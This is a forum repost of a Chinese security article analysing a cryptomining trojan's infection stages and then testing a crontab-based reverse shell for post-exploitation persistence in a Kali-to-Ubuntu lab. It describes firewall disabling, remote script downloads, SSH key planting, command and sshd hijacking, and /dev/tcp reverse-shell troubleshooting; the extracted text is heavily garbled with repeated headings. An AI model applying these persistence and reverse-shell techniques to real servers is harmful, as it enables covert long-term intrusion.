搜索

[6213] 2019-10-09_从挖矿木马看后渗透维权

文档创建者：s7ckTeam
浏览次数：14
最后更新：2025-01-17
2019-10-09_从挖矿木马看后渗透维权 从 挖 矿 木 马 看 后 渗 透 维 权 k e v i l   E 安 全   2 0 1 9 - 1 0 - 0 9 N o . 1 N o . 1 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 2 N o . 2 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 在 通 过 漏 洞 打 入 对 方 服 务 器 后 ， 如 果 痕 迹 没 有 清 除 干 净 或 者 在 实 施 侵 入 的 同 时 会 有 防 火 墙 、 w a f （ 某 云 盾 ） 等 安 全 产 品 发 出 警 报 ， 比 如 某 云 服 务 器 会 直 接 发 送 邮 件 告 知 管 理 员 ， 服 务 器 被 一 个 陌 生 I P 登 录 ， 这 时 管 理 员 可 能 会 警 觉 ， 可 能 最 直 接 的 方 式 就 是 将 2 2 、 3 3 8 9 等 端 口 放 入 内 网 或 直 接 关 闭 ， 如 果 想 要 获 取 对 方 长 久 的 控 制 权 ， 我 们 需 要 在 其 服 务 器 中 埋 下 稳 定 的 后 门 ， 比 如 通 过 定 时 任 务   c r o n t a b   反 弹   s h e l l ， 启 发 来 源 于 挖 矿 脚 本 。 N o . 3 N o . 3 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 挖 矿 木 马 分 析 结 果 阶 段 阶 段 1 1 . 关 闭 防 火 墙 和 s e l i n u x 。 2 . 释 放 掉 被 系 统 C a c h e 占 用 的 数 据 ： s y n c   & &   e c h o   3   > / p r o c / s y s / v m / d r o p _ c a c h e s ， 获 得 更 多 计 算 资 源 。 这 里 是 矿 机 的 C P U 占 用 情 况
3 . 配 置 c r o n d 定 时 任 务 以 及 授 权 密 钥 的 路 径 。 4 . 定 义 一 些 变 量 ， 扰 乱 系 统 程 序 ， 干 扰 其 它 挖 矿 程 序 。 5 . 配 置 定 时 更 新 木 马 的 文 件 , 比 如 s y s u p d a t e ， u p d a t e . s h 。
通 过 威 胁 情 报 平 台 确 认 d e . g s e a r c h . c o m . d e 域 名 为 攻 击 者 散 播 挖 矿 脚 本 的 恶 意 域 名 。 阶 段 阶 段 2 p s 获 取 运 行 的 进 程 ， g r e p 屏 蔽 掉 自 己 ， 然 后 g r e p 其 它 挖 矿 程 序 ， a w k 获 取 进 程 编 号 ， k i l l   - 9   强 制 杀 掉 。
阶 段 阶 段 3 定 义 一 个 函 数 ， 调 用 c u r l ， w g e t 远 程 下 载 挖 矿 脚 本 。
阶 段 阶 段 4 定 时 写 入 公 钥 ， 实 现 免 密 登 录 。
阶 段 阶 段 5 给 木 马 文 件 加 锁 ， 防 止 被 修 改 或 者 删 除 。 阶 段 阶 段 6 修 改 防 火 墙 配 置 。
阶 段 阶 段 7 清 理 入 侵 痕 迹 。 阶 段 阶 段 8 劫 持 系 统 进 程 以 及 命 令 （ 比 如 l s ， c d 等 常 用 命 令 ， 后 期 还 会 劫 持 s s h d ） 。 从 这 个 阶 段 开 始 分 析 服 务 器 中 存 在 的 另 外 一 个 挖 矿 脚 本 ， 可 以 看 出 本 人 通 过 c r o n t a b   - r   后 任 然 无 法 删 除 定 时 任 务 ， 这 里 可 能 有 两 种 原 因 ： 1 . 有 其 他 定 时 任 务 还 在 不 断 写 入 下 载 挖 矿 脚 本 的 命 令 。 2 ． 系 统 命 令 和 系 统 进 程 被 劫 持 ， 一 旦 被 劫 持 的 系 统 进 程 或 命 令 生 效 ， 挖 矿 木 马 再 次 激 活 。 通 过 b u s y b o x 尝 试 恢 复 被 劫 持 的 系 统 命 令 和 进 程 后 ， 重 启 服 务 器 ， 重 新 登 录 服 务 器 后 依 然 有 病 毒 进 程 被 拉 起 ， 怀 疑 登 录 时 加 载 的 服 务 存 在 问 题 ， 最 后 终 于 发 现 / e t c / b a s h r c   存 在 挖 矿 木 马 下 载 命 令 。 / e t c / b a s h r c : 为 每 一 个 运 行 b a s h   s h e l l 的 用 户 执 行 此 文 件 ， 当 b a s h   s h e l l 被 打 开 时 , 该 文 件 被 读 取 。 所 以 重 启 后 ， 挖 矿 脚 本 会 继
续 下 载 。 网 上 资 料 的 搜 集 ( 关 于 该 类 型 挖 矿 木 马 的 感 染 过 程 ) ： 主 进 程 操 作 1 . 添 加 至 开 机 启 动 ， 以 及 / e t c / b a s h r c 2 . 生 成 了 s s h d 文 件   劫 持 s s h d 服 务 3 . 将 n e t d n s 文 件 设 置 为 开 机 启 动 4 . 编 译 l i b c r y p t o d . c 为 / u s r / l o c a l / l i b / l i b c r y p t o d . s o 5 . 预 加 载 动 态 链 接 库 ， 恶 意 h o o k 关 键 系 统 操 作 函 数 6 . 修 改 / e t c / c r o n . d / r o o t 文 件 ， 增 加 定 时 任 务 7 . 拉 起 k h u g e p a g e d s 挖 矿 进 程 。 N o . 4 N o . 4 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 笔 者 的 辛 酸 删 马 环 节 1 . U b u n t u 1 6 . 0 4 写 入 定 时 任 务 反 弹 s h e l l 测 试 环 境 攻 击 机 ： k a l i - l i n u x - 2 0 1 9 . 3 ， I P ： 1 9 2 . 1 6 8 . 1 0 1 . 1 5 3 靶 机 ： U b u n t u 1 6 . 0 4 L T S ， I P ： 1 9 2 . 1 6 8 . 1 0 1 . 1 4 2 2 . 测 试 时 出 现 的 问 题 ：
c r o n t a b   - e 写 入 反 弹 s h e l l ， k a l i 攻 击 机 n c   - l v v p   8 8 8 8 一 直 接 收 不 到 连 接 ， s e r v i c e   c r o n   s t a t u s ， 报 错 ： C R O N :   p a m _ u n i x ( c r o n : s e s s i o n ) :   s e s s i o n   o p e n e d   f o r   u s e r   r o o t   b y   ( u i d = 0 ) C R O N :   p a m _ u n i x ( c r o n : s e s s i o n ) :   s e s s i o n   c l o s e d   f o r   u s e r   r o o t 解 决 ： v i   / e t c / p a m . d / c o m m o n - s e s s i o n - n o n i n t e r a c t i v e 在 s e s s i o n   r e q u i r e d                 p a m _ u n i x . s o 上 方 添 加 以 下 内 容 ： s e s s i o n           [ s u c c e s s = 1   d e f a u l t = i g n o r e ]   p a m _ s u c c e e d _ i f . s o   s e r v i c e   i n   c r o n   q u i e t   u s e _ u i d s e r v i c e   c r o n   r e s t a r t s e r v i c e   c r o n   s t a t u s ( 报 错 已 解 决 ， 但 是 k a l i 任 然 无 法 收 到 反 弹 s h e l l ) 好 像 有 错 误 信 息 ： C R O N [ 3 9 0 1 ] :   ( C R O N )   i n f o   ( N o   M T A   i n s t a l l e d ,   d i s c a r d i n g   o u t p u t )
第 一 种 方 法 ： s u d o   a p t - g e t   i n s t a l l   p o s t f i x 报 错 没 有 了 ， 但 是 还 是 接 收 不 到 s h e l l 换 第 二 种 方 法 首 先 修 改 一 下 计 划 任 务 然 后 我 们 过 一 分 钟 去 文 件 e r r o r . t x t 查 看 报 错 信 息 该 错 误 信 息 的 意 思 大 概 是 ： / b i n / b a s h 没 有 被 找 到 ， b a s h 后 面 的 ” > &   / d e v / t c p / … ” 被 当 作 系 统 文 件 或 目 录 了 ， 并 没 有 通 过 b i n b a s h 命 令 执 行 。 l i n u x 里 面 的 c r o n 中 命 令 执 行 的 s h e l l 环 境 是 / b i n / s h ， 我 们 看 一 下 / b i n / s h 文 件 的 属 性 ， 发 现 / b i n / s h 其 实 是 一 个 软 连 接 ， 指 向 d a s h s h e l l 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理